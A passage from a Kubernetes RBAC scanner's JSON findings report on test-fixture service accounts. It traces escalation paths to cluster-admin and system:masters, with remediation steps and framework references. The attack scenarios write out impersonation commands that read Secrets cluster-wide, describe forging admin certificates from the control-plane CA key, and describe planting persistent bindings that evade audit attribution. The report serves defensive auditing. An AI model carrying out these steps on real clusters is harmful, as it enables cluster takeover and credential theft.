      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-token-create:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can reach **cluster-admin equivalent** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 2 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cert-manager/cert-manager` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-token-create` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-token-create` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/cert-manager/cert-manager`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "The identity `ServiceAccount/cert-manager/cert-manager` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. wildcard_permission [*:*:*]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cert-manager/cert-manager`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cert-manager/cert-manager`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount cert-manager/cert-manager",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "cutres-deputy-cm-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/csr-fixtures/sa-csr-mint:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/csr-fixtures/sa-csr-mint` can impersonate **`system:masters`** in 1 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/csr-fixtures/sa-csr-mint` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (1 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-mint",
      "namespace": "csr-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/csr-fixtures/sa-csr-mint` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/csr-fixtures/sa-csr-mint`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "csr_approve",
      "hop_count": 1,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create certificatesigningrequests + update certificatesigningrequests/approval` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-mint` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create certificatesigningrequests + update certificatesigningrequests/approval` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-mint` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/rbac-fixtures/sa-impersonate:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-impersonate` can impersonate **`system:masters`** in 1 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-impersonate` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (1 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-impersonate` → `/` via `impersonate_system_masters` (impersonate groups): can impersonate the system:masters group, bypassing all RBAC\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-impersonate` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-impersonate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-impersonate`, the attacker impersonates the `system:masters` group (`impersonate groups`). The kube-apiserver hard-codes that group as authorized for every operation regardless of RBAC. A single such grant collapses the entire authorization layer.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. impersonate_system_masters [impersonate groups]"
      ],
      "first_action": "impersonate_system_masters",
      "hop_count": 1,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "impersonate_system_masters"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the `impersonate groups` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`). Evaluated cut: removing this subject from the `crb-impersonate` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the `impersonate groups` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "impersonate_system_masters",
        "technique": "KUBE-PRIVESC-008",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-impersonate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "impersonate groups",
        "gains": "can impersonate the system:masters group, bypassing all RBAC",
        "source_binding": "crb-impersonate",
        "source_role": "cr-impersonate"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-impersonate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod rbac-fixtures/imp-app-5f78d6bb9d-tqxvr falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-impersonate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-008:ServiceAccount/cloud-eks-imp/eks-impersonator:cloud-eks-imp:serviceaccounts",
    "rule_id": "KUBE-PRIVESC-008",
    "severity": "CRITICAL",
    "score": 9.4,
    "category": "privilege_escalation",
    "title": "Namespace `cloud-eks-imp` only `impersonate` permission on `ServiceAccount/cloud-eks-imp/eks-impersonator`",
    "description": "Subject ServiceAccount/cloud-eks-imp/eks-impersonator has the `impersonate` verb on `users/groups/serviceaccounts` via RoleBinding `cloud-eks-imp/eks-impersonator` → Role `cloud-eks-imp/eks-impersonator`. Namespace `cloud-eks-imp` only.\n\nKubernetes' impersonation lets a request set `Impersonate-User/Impersonate-Group` headers (or `kubectl --as`) so the API server processes the request as a different identity. The Kubernetes project flags this in `RBAC Good Practices` as one of three verbs (alongside `bind` and `escalate`) that override normal RBAC limits.\n\nMost damaging is the ability to impersonate the `system:masters` group, which is hardcoded inside kube-apiserver to bypass RBAC entirely. There is no Role or RoleBinding that grants `system:masters` membership; the apiserver simply trusts the assertion. `kubectl --as=admin --as-group=system:masters get secrets -A` runs as cluster-admin, full stop. Impersonation is also stealthier than a binding change because audit logs show `user.username` as the original subject.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "eks-impersonator",
      "namespace": "cloud-eks-imp"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "eks-impersonator",
      "namespace": "cloud-eks-imp",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "cloud-eks-imp",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cloud-eks-imp` only"
    },
    "impact": "Act as any user/group/ServiceAccount in Namespace `cloud-eks-imp` only; impersonating `system:masters` bypasses all RBAC checks irrevocably.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i impersonate users --as=eks-impersonator -n cloud-eks-imp`.",
      "They run `kubectl --as=admin --as-group=system:masters get clusterrolebindings` to confirm `system:masters` impersonation succeeds.",
      "They impersonate the highest-privileged ServiceAccount they can find (e.g. `system:serviceaccount:kube-system:clusterrole-aggregation-controller`) and exfiltrate Secrets cluster-wide.",
      "They establish persistence by creating a benign-looking ClusterRoleBinding via the impersonated identity (audit logs blame the impersonated SA, not the attacker).",
      "They optionally add their own user to a privileged group via OIDC group claims, providing identity-layer persistence that survives RBAC remediation."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "cloud-eks-imp",
      "resource_names": null,
      "resources": [
        "serviceaccounts"
      ],
      "scope": "namespace",
      "source_binding": "eks-impersonator",
      "source_binding_kind": "RoleBinding",
      "source_role": "eks-impersonator",
      "source_role_kind": "Role",
      "verbs": [
        "impersonate"
      ]
    },
    "remediation": "Remove `impersonate` entirely; if a SaaS console truly needs it, gate on `resourceNames` and never grant it on `groups`.",
    "remediation_steps": [
      "Remove `impersonate` on `users`, `groups`, and `serviceaccounts`. The vast majority of workloads have no need for impersonation.",
      "If impersonation is genuinely required, scope to `users` only (not `groups`, and never allow `system:masters`), use `resourceNames` to allow only specific identities, and never grant cluster-wide.",
      "Enable Impersonate-* audit policy at `Metadata` level minimum so every impersonated request is logged with the original caller. SIEM-alert on impersonation of any `system:` user or group.",
      "Verify with `kubectl auth can-i impersonate '*' --as=eks-impersonator -n cloud-eks-imp` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#privilege-escalation-risks",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — User Impersonation",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Privilege escalation risks",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#privilege-escalation-risks"
      },
      {
        "title": "Kubernetes — Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      },
      {
        "id": "T1134",
        "name": "Access Token Manipulation",
        "url": "https://attack.mitre.org/techniques/T1134/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/deepchain-tenant/deepchain-binder:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.350000000000001,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-binder` can reach **cluster-admin equivalent** in 3 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-binder` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `ServiceAccount/deepchain-tenant/deepchain-privileged` via `colocated_sa_token_theft` (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged\n  3. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-binder` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-binder` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/deepchain-tenant/deepchain-binder` (RCE in any application using its identity, leaked token, or compromised image).",
